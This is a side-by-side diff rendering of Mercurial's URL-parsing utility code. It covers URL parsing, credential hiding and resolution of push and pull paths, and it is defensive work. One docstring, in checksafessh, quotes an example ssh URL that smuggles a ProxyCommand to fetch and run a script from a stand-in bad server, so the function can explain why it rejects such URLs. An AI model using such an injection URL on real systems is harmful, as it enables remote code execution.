131 | _safechars = b"!~*'()+" |
|
131 | _safechars = b"!~*'()+" | |
132 | _safepchars = b"/!~*'()+:\\" |
|
132 | _safepchars = b"/!~*'()+:\\" | |
133 | _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match |
|
133 | _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match | |
134 |
|
134 | |||
135 | def __init__(self, path, parsequery=True, parsefragment=True): |
|
135 | def __init__(self, path, parsequery=True, parsefragment=True): | |
136 | # type: (bytes, bool, bool) -> None |
|
136 | # type: (bytes, bool, bool) -> None | |
137 | # We slowly chomp away at path until we have only the path left |
|
137 | # We slowly chomp away at path until we have only the path left | |
138 | self.scheme = self.user = self.passwd = self.host = None |
|
138 | self.scheme = self.user = self.passwd = self.host = None | |
139 | self.port = self.path = self.query = self.fragment = None |
|
139 | self.port = self.path = self.query = self.fragment = None | |
140 | self._localpath = True |
|
140 | self._localpath = True | |
141 | self._hostport = b'' |
|
141 | self._hostport = b'' | |
142 | self._origpath = path |
|
142 | self._origpath = path | |
143 |
|
143 | |||
144 | if parsefragment and b'#' in path: |
|
144 | if parsefragment and b'#' in path: | |
145 | path, self.fragment = path.split(b'#', 1) |
|
145 | path, self.fragment = path.split(b'#', 1) | |
146 |
|
146 | |||
147 | # special case for Windows drive letters and UNC paths |
|
147 | # special case for Windows drive letters and UNC paths | |
148 | if hasdriveletter(path) or path.startswith(b'\\\\'): |
|
148 | if hasdriveletter(path) or path.startswith(b'\\\\'): | |
149 | self.path = path |
|
149 | self.path = path | |
150 | return |
|
150 | return | |
151 |
|
151 | |||
152 | # For compatibility reasons, we can't handle bundle paths as |
|
152 | # For compatibility reasons, we can't handle bundle paths as | |
153 | # normal URLS |
|
153 | # normal URLS | |
154 | if path.startswith(b'bundle:'): |
|
154 | if path.startswith(b'bundle:'): | |
155 | self.scheme = b'bundle' |
|
155 | self.scheme = b'bundle' | |
156 | path = path[7:] |
|
156 | path = path[7:] | |
157 | if path.startswith(b'//'): |
|
157 | if path.startswith(b'//'): | |
158 | path = path[2:] |
|
158 | path = path[2:] | |
159 | self.path = path |
|
159 | self.path = path | |
160 | return |
|
160 | return | |
161 |
|
161 | |||
162 | if self._matchscheme(path): |
|
162 | if self._matchscheme(path): | |
163 | parts = path.split(b':', 1) |
|
163 | parts = path.split(b':', 1) | |
164 | if parts[0]: |
|
164 | if parts[0]: | |
165 | self.scheme, path = parts |
|
165 | self.scheme, path = parts | |
166 | self._localpath = False |
|
166 | self._localpath = False | |
167 |
|
167 | |||
168 | if not path: |
|
168 | if not path: | |
169 | path = None |
|
169 | path = None | |
170 | if self._localpath: |
|
170 | if self._localpath: | |
171 | self.path = b'' |
|
171 | self.path = b'' | |
172 | return |
|
172 | return | |
173 | else: |
|
173 | else: | |
174 | if self._localpath: |
|
174 | if self._localpath: | |
175 | self.path = path |
|
175 | self.path = path | |
176 | return |
|
176 | return | |
177 |
|
177 | |||
178 | if parsequery and b'?' in path: |
|
178 | if parsequery and b'?' in path: | |
179 | path, self.query = path.split(b'?', 1) |
|
179 | path, self.query = path.split(b'?', 1) | |
180 | if not path: |
|
180 | if not path: | |
181 | path = None |
|
181 | path = None | |
182 | if not self.query: |
|
182 | if not self.query: | |
183 | self.query = None |
|
183 | self.query = None | |
184 |
|
184 | |||
185 | # // is required to specify a host/authority |
|
185 | # // is required to specify a host/authority | |
186 | if path and path.startswith(b'//'): |
|
186 | if path and path.startswith(b'//'): | |
187 | parts = path[2:].split(b'/', 1) |
|
187 | parts = path[2:].split(b'/', 1) | |
188 | if len(parts) > 1: |
|
188 | if len(parts) > 1: | |
189 | self.host, path = parts |
|
189 | self.host, path = parts | |
190 | else: |
|
190 | else: | |
191 | self.host = parts[0] |
|
191 | self.host = parts[0] | |
192 | path = None |
|
192 | path = None | |
193 | if not self.host: |
|
193 | if not self.host: | |
194 | self.host = None |
|
194 | self.host = None | |
195 | # path of file:///d is /d |
|
195 | # path of file:///d is /d | |
196 | # path of file:///d:/ is d:/, not /d:/ |
|
196 | # path of file:///d:/ is d:/, not /d:/ | |
197 | if path and not hasdriveletter(path): |
|
197 | if path and not hasdriveletter(path): | |
198 | path = b'/' + path |
|
198 | path = b'/' + path | |
199 |
|
199 | |||
200 | if self.host and b'@' in self.host: |
|
200 | if self.host and b'@' in self.host: | |
201 | self.user, self.host = self.host.rsplit(b'@', 1) |
|
201 | self.user, self.host = self.host.rsplit(b'@', 1) | |
202 | if b':' in self.user: |
|
202 | if b':' in self.user: | |
203 | self.user, self.passwd = self.user.split(b':', 1) |
|
203 | self.user, self.passwd = self.user.split(b':', 1) | |
204 | if not self.host: |
|
204 | if not self.host: | |
205 | self.host = None |
|
205 | self.host = None | |
206 |
|
206 | |||
207 | # Don't split on colons in IPv6 addresses without ports |
|
207 | # Don't split on colons in IPv6 addresses without ports | |
208 | if ( |
|
208 | if ( | |
209 | self.host |
|
209 | self.host | |
210 | and b':' in self.host |
|
210 | and b':' in self.host | |
211 | and not ( |
|
211 | and not ( | |
212 | self.host.startswith(b'[') and self.host.endswith(b']') |
|
212 | self.host.startswith(b'[') and self.host.endswith(b']') | |
213 | ) |
|
213 | ) | |
214 | ): |
|
214 | ): | |
215 | self._hostport = self.host |
|
215 | self._hostport = self.host | |
216 | self.host, self.port = self.host.rsplit(b':', 1) |
|
216 | self.host, self.port = self.host.rsplit(b':', 1) | |
217 | if not self.host: |
|
217 | if not self.host: | |
218 | self.host = None |
|
218 | self.host = None | |
219 |
|
219 | |||
220 | if ( |
|
220 | if ( | |
221 | self.host |
|
221 | self.host | |
222 | and self.scheme == b'file' |
|
222 | and self.scheme == b'file' | |
223 | and self.host not in (b'localhost', b'127.0.0.1', b'[::1]') |
|
223 | and self.host not in (b'localhost', b'127.0.0.1', b'[::1]') | |
224 | ): |
|
224 | ): | |
225 | raise error.Abort( |
|
225 | raise error.Abort( | |
226 | _(b'file:// URLs can only refer to localhost') |
|
226 | _(b'file:// URLs can only refer to localhost') | |
227 | ) |
|
227 | ) | |
228 |
|
228 | |||
229 | self.path = path |
|
229 | self.path = path | |
230 |
|
230 | |||
231 | # leave the query string escaped |
|
231 | # leave the query string escaped | |
232 | for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'): |
|
232 | for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'): | |
233 | v = getattr(self, a) |
|
233 | v = getattr(self, a) | |
234 | if v is not None: |
|
234 | if v is not None: | |
235 | setattr(self, a, urlreq.unquote(v)) |
|
235 | setattr(self, a, urlreq.unquote(v)) | |
236 |
|
236 | |||
237 | def copy(self): |
|
237 | def copy(self): | |
238 | u = url(b'temporary useless value') |
|
238 | u = url(b'temporary useless value') | |
239 | u.path = self.path |
|
239 | u.path = self.path | |
240 | u.scheme = self.scheme |
|
240 | u.scheme = self.scheme | |
241 | u.user = self.user |
|
241 | u.user = self.user | |
242 | u.passwd = self.passwd |
|
242 | u.passwd = self.passwd | |
243 | u.host = self.host |
|
243 | u.host = self.host | |
244 | u.path = self.path |
|
244 | u.path = self.path | |
245 | u.query = self.query |
|
245 | u.query = self.query | |
246 | u.fragment = self.fragment |
|
246 | u.fragment = self.fragment | |
247 | u._localpath = self._localpath |
|
247 | u._localpath = self._localpath | |
248 | u._hostport = self._hostport |
|
248 | u._hostport = self._hostport | |
249 | u._origpath = self._origpath |
|
249 | u._origpath = self._origpath | |
250 | return u |
|
250 | return u | |
251 |
|
251 | |||
252 | @encoding.strmethod |
|
252 | @encoding.strmethod | |
253 | def __repr__(self): |
|
253 | def __repr__(self): | |
254 | attrs = [] |
|
254 | attrs = [] | |
255 | for a in ( |
|
255 | for a in ( | |
256 | b'scheme', |
|
256 | b'scheme', | |
257 | b'user', |
|
257 | b'user', | |
258 | b'passwd', |
|
258 | b'passwd', | |
259 | b'host', |
|
259 | b'host', | |
260 | b'port', |
|
260 | b'port', | |
261 | b'path', |
|
261 | b'path', | |
262 | b'query', |
|
262 | b'query', | |
263 | b'fragment', |
|
263 | b'fragment', | |
264 | ): |
|
264 | ): | |
265 | v = getattr(self, a) |
|
265 | v = getattr(self, a) | |
266 | if v is not None: |
|
266 | if v is not None: | |
267 | attrs.append(b'%s: %r' % (a, pycompat.bytestr(v))) |
|
267 | attrs.append(b'%s: %r' % (a, pycompat.bytestr(v))) | |
268 | return b'<url %s>' % b', '.join(attrs) |
|
268 | return b'<url %s>' % b', '.join(attrs) | |
269 |
|
269 | |||
270 | def __bytes__(self): |
|
270 | def __bytes__(self): | |
271 | r"""Join the URL's components back into a URL string. |
|
271 | r"""Join the URL's components back into a URL string. | |
272 |
|
272 | |||
273 | Examples: |
|
273 | Examples: | |
274 |
|
274 | |||
275 | >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar')) |
|
275 | >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar')) | |
276 | 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar' |
|
276 | 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar' | |
277 | >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42')) |
|
277 | >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42')) | |
278 | 'http://user:pw@host:80/?foo=bar&baz=42' |
|
278 | 'http://user:pw@host:80/?foo=bar&baz=42' | |
279 | >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz')) |
|
279 | >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz')) | |
280 | 'http://user:pw@host:80/?foo=bar%3dbaz' |
|
280 | 'http://user:pw@host:80/?foo=bar%3dbaz' | |
281 | >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#')) |
|
281 | >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#')) | |
282 | 'ssh://user:pw@[::1]:2200//home/joe#' |
|
282 | 'ssh://user:pw@[::1]:2200//home/joe#' | |
283 | >>> bytes(url(b'http://localhost:80//')) |
|
283 | >>> bytes(url(b'http://localhost:80//')) | |
284 | 'http://localhost:80//' |
|
284 | 'http://localhost:80//' | |
285 | >>> bytes(url(b'http://localhost:80/')) |
|
285 | >>> bytes(url(b'http://localhost:80/')) | |
286 | 'http://localhost:80/' |
|
286 | 'http://localhost:80/' | |
287 | >>> bytes(url(b'http://localhost:80')) |
|
287 | >>> bytes(url(b'http://localhost:80')) | |
288 | 'http://localhost:80/' |
|
288 | 'http://localhost:80/' | |
289 | >>> bytes(url(b'bundle:foo')) |
|
289 | >>> bytes(url(b'bundle:foo')) | |
290 | 'bundle:foo' |
|
290 | 'bundle:foo' | |
291 | >>> bytes(url(b'bundle://../foo')) |
|
291 | >>> bytes(url(b'bundle://../foo')) | |
292 | 'bundle:../foo' |
|
292 | 'bundle:../foo' | |
293 | >>> bytes(url(b'path')) |
|
293 | >>> bytes(url(b'path')) | |
294 | 'path' |
|
294 | 'path' | |
295 | >>> bytes(url(b'file:///tmp/foo/bar')) |
|
295 | >>> bytes(url(b'file:///tmp/foo/bar')) | |
296 | 'file:///tmp/foo/bar' |
|
296 | 'file:///tmp/foo/bar' | |
297 | >>> bytes(url(b'file:///c:/tmp/foo/bar')) |
|
297 | >>> bytes(url(b'file:///c:/tmp/foo/bar')) | |
298 | 'file:///c:/tmp/foo/bar' |
|
298 | 'file:///c:/tmp/foo/bar' | |
299 | >>> print(url(br'bundle:foo\bar')) |
|
299 | >>> print(url(br'bundle:foo\bar')) | |
300 | bundle:foo\bar |
|
300 | bundle:foo\bar | |
301 | >>> print(url(br'file:///D:\data\hg')) |
|
301 | >>> print(url(br'file:///D:\data\hg')) | |
302 | file:///D:\data\hg |
|
302 | file:///D:\data\hg | |
303 | """ |
|
303 | """ | |
304 | if self._localpath: |
|
304 | if self._localpath: | |
305 | s = self.path |
|
305 | s = self.path | |
306 | if self.scheme == b'bundle': |
|
306 | if self.scheme == b'bundle': | |
307 | s = b'bundle:' + s |
|
307 | s = b'bundle:' + s | |
308 | if self.fragment: |
|
308 | if self.fragment: | |
309 | s += b'#' + self.fragment |
|
309 | s += b'#' + self.fragment | |
310 | return s |
|
310 | return s | |
311 |
|
311 | |||
312 | s = self.scheme + b':' |
|
312 | s = self.scheme + b':' | |
313 | if self.user or self.passwd or self.host: |
|
313 | if self.user or self.passwd or self.host: | |
314 | s += b'//' |
|
314 | s += b'//' | |
315 | elif self.scheme and ( |
|
315 | elif self.scheme and ( | |
316 | not self.path |
|
316 | not self.path | |
317 | or self.path.startswith(b'/') |
|
317 | or self.path.startswith(b'/') | |
318 | or hasdriveletter(self.path) |
|
318 | or hasdriveletter(self.path) | |
319 | ): |
|
319 | ): | |
320 | s += b'//' |
|
320 | s += b'//' | |
321 | if hasdriveletter(self.path): |
|
321 | if hasdriveletter(self.path): | |
322 | s += b'/' |
|
322 | s += b'/' | |
323 | if self.user: |
|
323 | if self.user: | |
324 | s += urlreq.quote(self.user, safe=self._safechars) |
|
324 | s += urlreq.quote(self.user, safe=self._safechars) | |
325 | if self.passwd: |
|
325 | if self.passwd: | |
326 | s += b':' + urlreq.quote(self.passwd, safe=self._safechars) |
|
326 | s += b':' + urlreq.quote(self.passwd, safe=self._safechars) | |
327 | if self.user or self.passwd: |
|
327 | if self.user or self.passwd: | |
328 | s += b'@' |
|
328 | s += b'@' | |
329 | if self.host: |
|
329 | if self.host: | |
330 | if not (self.host.startswith(b'[') and self.host.endswith(b']')): |
|
330 | if not (self.host.startswith(b'[') and self.host.endswith(b']')): | |
331 | s += urlreq.quote(self.host) |
|
331 | s += urlreq.quote(self.host) | |
332 | else: |
|
332 | else: | |
333 | s += self.host |
|
333 | s += self.host | |
334 | if self.port: |
|
334 | if self.port: | |
335 | s += b':' + urlreq.quote(self.port) |
|
335 | s += b':' + urlreq.quote(self.port) | |
336 | if self.host: |
|
336 | if self.host: | |
337 | s += b'/' |
|
337 | s += b'/' | |
338 | if self.path: |
|
338 | if self.path: | |
339 | # TODO: similar to the query string, we should not unescape the |
|
339 | # TODO: similar to the query string, we should not unescape the | |
340 | # path when we store it, the path might contain '%2f' = '/', |
|
340 | # path when we store it, the path might contain '%2f' = '/', | |
341 | # which we should *not* escape. |
|
341 | # which we should *not* escape. | |
342 | s += urlreq.quote(self.path, safe=self._safepchars) |
|
342 | s += urlreq.quote(self.path, safe=self._safepchars) | |
343 | if self.query: |
|
343 | if self.query: | |
344 | # we store the query in escaped form. |
|
344 | # we store the query in escaped form. | |
345 | s += b'?' + self.query |
|
345 | s += b'?' + self.query | |
346 | if self.fragment is not None: |
|
346 | if self.fragment is not None: | |
347 | s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars) |
|
347 | s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars) | |
348 | return s |
|
348 | return s | |
349 |
|
349 | |||
350 | __str__ = encoding.strmethod(__bytes__) |
|
350 | __str__ = encoding.strmethod(__bytes__) | |
351 |
|
351 | |||
352 | def authinfo(self): |
|
352 | def authinfo(self): | |
353 | user, passwd = self.user, self.passwd |
|
353 | user, passwd = self.user, self.passwd | |
354 | try: |
|
354 | try: | |
355 | self.user, self.passwd = None, None |
|
355 | self.user, self.passwd = None, None | |
356 | s = bytes(self) |
|
356 | s = bytes(self) | |
357 | finally: |
|
357 | finally: | |
358 | self.user, self.passwd = user, passwd |
|
358 | self.user, self.passwd = user, passwd | |
359 | if not self.user: |
|
359 | if not self.user: | |
360 | return (s, None) |
|
360 | return (s, None) | |
361 | # authinfo[1] is passed to urllib2 password manager, and its |
|
361 | # authinfo[1] is passed to urllib2 password manager, and its | |
362 | # URIs must not contain credentials. The host is passed in the |
|
362 | # URIs must not contain credentials. The host is passed in the | |
363 | # URIs list because Python < 2.4.3 uses only that to search for |
|
363 | # URIs list because Python < 2.4.3 uses only that to search for | |
364 | # a password. |
|
364 | # a password. | |
365 | return (s, (None, (s, self.host), self.user, self.passwd or b'')) |
|
365 | return (s, (None, (s, self.host), self.user, self.passwd or b'')) | |
366 |
|
366 | |||
367 | def isabs(self): |
|
367 | def isabs(self): | |
368 | if self.scheme and self.scheme != b'file': |
|
368 | if self.scheme and self.scheme != b'file': | |
369 | return True # remote URL |
|
369 | return True # remote URL | |
370 | if hasdriveletter(self.path): |
|
370 | if hasdriveletter(self.path): | |
371 | return True # absolute for our purposes - can't be joined() |
|
371 | return True # absolute for our purposes - can't be joined() | |
372 | if self.path.startswith(br'\\'): |
|
372 | if self.path.startswith(br'\\'): | |
373 | return True # Windows UNC path |
|
373 | return True # Windows UNC path | |
374 | if self.path.startswith(b'/'): |
|
374 | if self.path.startswith(b'/'): | |
375 | return True # POSIX-style |
|
375 | return True # POSIX-style | |
376 | return False |
|
376 | return False | |
377 |
|
377 | |||
378 | def localpath(self): |
|
378 | def localpath(self): | |
379 | # type: () -> bytes |
|
379 | # type: () -> bytes | |
380 | if self.scheme == b'file' or self.scheme == b'bundle': |
|
380 | if self.scheme == b'file' or self.scheme == b'bundle': | |
381 | path = self.path or b'/' |
|
381 | path = self.path or b'/' | |
382 | # For Windows, we need to promote hosts containing drive |
|
382 | # For Windows, we need to promote hosts containing drive | |
383 | # letters to paths with drive letters. |
|
383 | # letters to paths with drive letters. | |
384 | if hasdriveletter(self._hostport): |
|
384 | if hasdriveletter(self._hostport): | |
385 | path = self._hostport + b'/' + self.path |
|
385 | path = self._hostport + b'/' + self.path | |
386 | elif ( |
|
386 | elif ( | |
387 | self.host is not None and self.path and not hasdriveletter(path) |
|
387 | self.host is not None and self.path and not hasdriveletter(path) | |
388 | ): |
|
388 | ): | |
389 | path = b'/' + path |
|
389 | path = b'/' + path | |
390 | return path |
|
390 | return path | |
391 | return self._origpath |
|
391 | return self._origpath | |
392 |
|
392 | |||
393 | def islocal(self): |
|
393 | def islocal(self): | |
394 | '''whether localpath will return something that posixfile can open''' |
|
394 | '''whether localpath will return something that posixfile can open''' | |
395 | return ( |
|
395 | return ( | |
396 | not self.scheme |
|
396 | not self.scheme | |
397 | or self.scheme == b'file' |
|
397 | or self.scheme == b'file' | |
398 | or self.scheme == b'bundle' |
|
398 | or self.scheme == b'bundle' | |
399 | ) |
|
399 | ) | |
400 |
|
400 | |||
401 |
|
401 | |||
402 | def hasscheme(path): |
|
402 | def hasscheme(path): | |
403 | # type: (bytes) -> bool |
|
403 | # type: (bytes) -> bool | |
404 | return bool(url(path).scheme) # cast to help pytype |
|
404 | return bool(url(path).scheme) # cast to help pytype | |
405 |
|
405 | |||
406 |
|
406 | |||
407 | def hasdriveletter(path): |
|
407 | def hasdriveletter(path): | |
408 | # type: (bytes) -> bool |
|
408 | # type: (bytes) -> bool | |
409 | return bool(path) and path[1:2] == b':' and path[0:1].isalpha() |
|
409 | return bool(path) and path[1:2] == b':' and path[0:1].isalpha() | |
410 |
|
410 | |||
411 |
|
411 | |||
412 | def urllocalpath(path): |
|
412 | def urllocalpath(path): | |
413 | # type: (bytes) -> bytes |
|
413 | # type: (bytes) -> bytes | |
414 | return url(path, parsequery=False, parsefragment=False).localpath() |
|
414 | return url(path, parsequery=False, parsefragment=False).localpath() | |
415 |
|
415 | |||
416 |
|
416 | |||
417 | def checksafessh(path): |
|
417 | def checksafessh(path): | |
418 | # type: (bytes) -> None |
|
418 | # type: (bytes) -> None | |
419 | """check if a path / url is a potentially unsafe ssh exploit (SEC) |
|
419 | """check if a path / url is a potentially unsafe ssh exploit (SEC) | |
420 |
|
420 | |||
421 | This is a sanity check for ssh urls. ssh will parse the first item as |
|
421 | This is a sanity check for ssh urls. ssh will parse the first item as | |
422 | an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path. |
|
422 | an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path. | |
423 | Let's prevent these potentially exploited urls entirely and warn the |
|
423 | Let's prevent these potentially exploited urls entirely and warn the | |
424 | user. |
|
424 | user. | |
425 |
|
425 | |||
426 | Raises an error.Abort when the url is unsafe. |
|
426 | Raises an error.Abort when the url is unsafe. | |
427 | """ |
|
427 | """ | |
428 | path = urlreq.unquote(path) |
|
428 | path = urlreq.unquote(path) | |
429 | if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'): |
|
429 | if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'): | |
430 | raise error.Abort( |
|
430 | raise error.Abort( | |
431 | _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),) |
|
431 | _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),) | |
432 | ) |
|
432 | ) | |
433 |
|
433 | |||
434 |
|
434 | |||
435 | def hidepassword(u): |
|
435 | def hidepassword(u): | |
436 | # type: (bytes) -> bytes |
|
436 | # type: (bytes) -> bytes | |
437 | '''hide user credential in a url string''' |
|
437 | '''hide user credential in a url string''' | |
438 | u = url(u) |
|
438 | u = url(u) | |
439 | if u.passwd: |
|
439 | if u.passwd: | |
440 | u.passwd = b'***' |
|
440 | u.passwd = b'***' | |
441 | return bytes(u) |
|
441 | return bytes(u) | |
442 |
|
442 | |||
443 |
|
443 | |||
444 | def removeauth(u): |
|
444 | def removeauth(u): | |
445 | # type: (bytes) -> bytes |
|
445 | # type: (bytes) -> bytes | |
446 | '''remove all authentication information from a url string''' |
|
446 | '''remove all authentication information from a url string''' | |
447 | u = url(u) |
|
447 | u = url(u) | |
448 | u.user = u.passwd = None |
|
448 | u.user = u.passwd = None | |
449 | return bytes(u) |
|
449 | return bytes(u) | |
450 |
|
450 | |||
451 |
|
451 | |||
452 | def list_paths(ui, target_path=None): |
|
452 | def list_paths(ui, target_path=None): | |
453 | """list all the (name, paths) in the passed ui""" |
|
453 | """list all the (name, paths) in the passed ui""" | |
454 | result = [] |
|
454 | result = [] | |
455 | if target_path is None: |
|
455 | if target_path is None: | |
456 | for name, paths in sorted(pycompat.iteritems(ui.paths)): |
|
456 | for name, paths in sorted(pycompat.iteritems(ui.paths)): | |
457 | for p in paths: |
|
457 | for p in paths: | |
458 | result.append((name, p)) |
|
458 | result.append((name, p)) | |
459 |
|
459 | |||
460 | else: |
|
460 | else: | |
461 | for path in ui.paths.get(target_path, []): |
|
461 | for path in ui.paths.get(target_path, []): | |
462 | result.append((target_path, path)) |
|
462 | result.append((target_path, path)) | |
463 | return result |
|
463 | return result | |
464 |
|
464 | |||
465 |
|
465 | |||
466 | def try_path(ui, url): |
|
466 | def try_path(ui, url): | |
467 | """try to build a path from a url |
|
467 | """try to build a path from a url | |
468 |
|
468 | |||
469 | Return None if no Path could built. |
|
469 | Return None if no Path could built. | |
470 | """ |
|
470 | """ | |
471 | try: |
|
471 | try: | |
472 | # we pass the ui instance are warning might need to be issued |
|
472 | # we pass the ui instance are warning might need to be issued | |
473 | return path(ui, None, rawloc=url) |
|
473 | return path(ui, None, rawloc=url) | |
474 | except ValueError: |
|
474 | except ValueError: | |
475 | return None |
|
475 | return None | |
476 |
|
476 | |||
477 |
|
477 | |||
478 | def get_push_paths(repo, ui, dests): |
|
478 | def get_push_paths(repo, ui, dests): | |
479 | """yields all the `path` selected as push destination by `dests`""" |
|
479 | """yields all the `path` selected as push destination by `dests`""" | |
480 | if not dests: |
|
480 | if not dests: | |
481 | if b'default-push' in ui.paths: |
|
481 | if b'default-push' in ui.paths: | |
482 | for p in ui.paths[b'default-push']: |
|
482 | for p in ui.paths[b'default-push']: | |
483 | yield p |
|
483 | yield p | |
484 | elif b'default' in ui.paths: |
|
484 | elif b'default' in ui.paths: | |
485 | for p in ui.paths[b'default']: |
|
485 | for p in ui.paths[b'default']: | |
486 | yield p |
|
486 | yield p | |
487 | else: |
|
487 | else: | |
488 | raise error.ConfigError( |
|
488 | raise error.ConfigError( | |
489 | _(b'default repository not configured!'), |
|
489 | _(b'default repository not configured!'), | |
490 | hint=_(b"see 'hg help config.paths'"), |
|
490 | hint=_(b"see 'hg help config.paths'"), | |
491 | ) |
|
491 | ) | |
492 | else: |
|
492 | else: | |
493 | for dest in dests: |
|
493 | for dest in dests: | |
494 | if dest in ui.paths: |
|
494 | if dest in ui.paths: | |
495 | for p in ui.paths[dest]: |
|
495 | for p in ui.paths[dest]: | |
496 | yield p |
|
496 | yield p | |
497 | else: |
|
497 | else: | |
498 | path = try_path(ui, dest) |
|
498 | path = try_path(ui, dest) | |
499 | if path is None: |
|
499 | if path is None: | |
500 | msg = _(b'repository %s does not exist') |
|
500 | msg = _(b'repository %s does not exist') | |
501 | msg %= dest |
|
501 | msg %= dest | |
502 | raise error.RepoError(msg) |
|
502 | raise error.RepoError(msg) | |
503 | yield path |
|
503 | yield path | |
504 |
|
504 | |||
505 |
|
505 | |||
506 | def get_pull_paths(repo, ui, sources, default_branches=()): |
|
506 | def get_pull_paths(repo, ui, sources, default_branches=()): | |
507 | """yields all the `(path, branch)` selected as pull source by `sources`""" |
|
507 | """yields all the `(path, branch)` selected as pull source by `sources`""" | |
508 | if not sources: |
|
508 | if not sources: | |
509 | sources = [b'default'] |
|
509 | sources = [b'default'] | |
510 | for source in sources: |
|
510 | for source in sources: | |
511 | if source in ui.paths: |
|
511 | if source in ui.paths: | |
512 | for p in ui.paths[source]: |
|
512 | for p in ui.paths[source]: | |
513 | yield parseurl(p.rawloc, default_branches) |
|
513 | yield parseurl(p.rawloc, default_branches) | |
514 | else: |
|
514 | else: | |
515 | # Try to resolve as a local path or URI. |
|
515 | # Try to resolve as a local path or URI. | |
516 | path = try_path(ui, source) |
|
516 | path = try_path(ui, source) | |
517 | if path is not None: |
|
517 | if path is not None: | |
518 | url = path.rawloc |
|
518 | url = path.rawloc | |
519 | else: |
|
519 | else: | |
520 | url = source |
|
520 | url = source | |
521 | yield parseurl(url, default_branches) |
|
521 | yield parseurl(url, default_branches) | |
522 |
|
522 | |||
523 |
|
523 | |||
524 | def get_unique_push_path(action, repo, ui, dest=None): |
|
524 | def get_unique_push_path(action, repo, ui, dest=None): | |
525 | """return a unique `path` or abort if multiple are found |
|
525 | """return a unique `path` or abort if multiple are found | |
526 |
|
526 | |||
527 | This is useful for command and action that does not support multiple |
|
527 | This is useful for command and action that does not support multiple | |
528 | destination (yet). |
|
528 | destination (yet). | |
529 |
|
529 | |||
530 | Note that for now, we cannot get multiple destination so this function is "trivial". |
|
530 | Note that for now, we cannot get multiple destination so this function is "trivial". | |
531 |
|
531 | |||
532 | The `action` parameter will be used for the error message. |
|
532 | The `action` parameter will be used for the error message. | |
533 | """ |
|
533 | """ | |
534 | if dest is None: |
|
534 | if dest is None: | |
535 | dests = [] |
|
535 | dests = [] | |
536 | else: |
|
536 | else: | |
537 | dests = [dest] |
|
537 | dests = [dest] | |
538 | dests = list(get_push_paths(repo, ui, dests)) |
|
538 | dests = list(get_push_paths(repo, ui, dests)) | |
539 | if len(dests) != 1: |
|
539 | if len(dests) != 1: | |
540 | if dest is None: |
|
540 | if dest is None: | |
541 | msg = _( |
|
541 | msg = _( | |
542 | b"default path points to %d urls while %s only supports one" |
|
542 | b"default path points to %d urls while %s only supports one" | |
543 | ) |
|
543 | ) | |
544 | msg %= (len(dests), action) |
|
544 | msg %= (len(dests), action) | |
545 | else: |
|
545 | else: | |
546 | msg = _(b"path points to %d urls while %s only supports one: %s") |
|
546 | msg = _(b"path points to %d urls while %s only supports one: %s") | |
547 | msg %= (len(dests), action, dest) |
|
547 | msg %= (len(dests), action, dest) | |
548 | raise error.Abort(msg) |
|
548 | raise error.Abort(msg) | |
549 | return dests[0] |
|
549 | return dests[0] | |
550 |
|
550 | |||
551 |
|
551 | |||
552 | def get_unique_pull_path(action, repo, ui, source=None, default_branches=()): |
|
552 | def get_unique_pull_path(action, repo, ui, source=None, default_branches=()): | |
553 | """return a unique `(path, branch)` or abort if multiple are found |
|
553 | """return a unique `(path, branch)` or abort if multiple are found | |
554 |
|
554 | |||
555 | This is useful for command and action that does not support multiple |
|
555 | This is useful for command and action that does not support multiple | |
556 | destination (yet). |
|
556 | destination (yet). | |
557 |
|
557 | |||
558 | Note that for now, we cannot get multiple destination so this function is "trivial". |
|
558 | Note that for now, we cannot get multiple destination so this function is "trivial". | |
559 |
|
559 | |||
560 | The `action` parameter will be used for the error message. |
|
560 | The `action` parameter will be used for the error message. | |
561 | """ |
|
561 | """ | |
562 | urls = [] |
|
562 | urls = [] | |
563 | if source is None: |
|
563 | if source is None: | |
564 | if b'default' in ui.paths: |
|
564 | if b'default' in ui.paths: | |
565 | urls.extend(p.rawloc for p in ui.paths[b'default']) |
|
565 | urls.extend(p.rawloc for p in ui.paths[b'default']) | |
566 | else: |
|
566 | else: | |
567 | # XXX this is the historical default behavior, but that is not |
|
567 | # XXX this is the historical default behavior, but that is not | |
568 | # great, consider breaking BC on this. |
|
568 | # great, consider breaking BC on this. | |
569 | urls.append(b'default') |
|
569 | urls.append(b'default') | |
570 | else: |
|
570 | else: | |
571 | if source in ui.paths: |
|
571 | if source in ui.paths: | |
572 | urls.extend(p.rawloc for p in ui.paths[source]) |
|
572 | urls.extend(p.rawloc for p in ui.paths[source]) | |
573 | else: |
|
573 | else: | |
574 | # Try to resolve as a local path or URI. |
|
574 | # Try to resolve as a local path or URI. | |
575 | path = try_path(ui, source) |
|
575 | path = try_path(ui, source) | |
576 | if path is not None: |
|
576 | if path is not None: | |
577 | urls.append(path.rawloc) |
|
577 | urls.append(path.rawloc) | |
578 | else: |
|
578 | else: | |
579 | urls.append(source) |
|
579 | urls.append(source) | |
580 | if len(urls) != 1: |
|
580 | if len(urls) != 1: | |
581 | if source is None: |
|
581 | if source is None: | |
582 | msg = _( |
|
582 | msg = _( | |
583 | b"default path points to %d urls while %s only supports one" |
|
583 | b"default path points to %d urls while %s only supports one" | |
584 | ) |
|
584 | ) | |
585 | msg %= (len(urls), action) |
|
585 | msg %= (len(urls), action) | |
586 | else: |
|
586 | else: | |
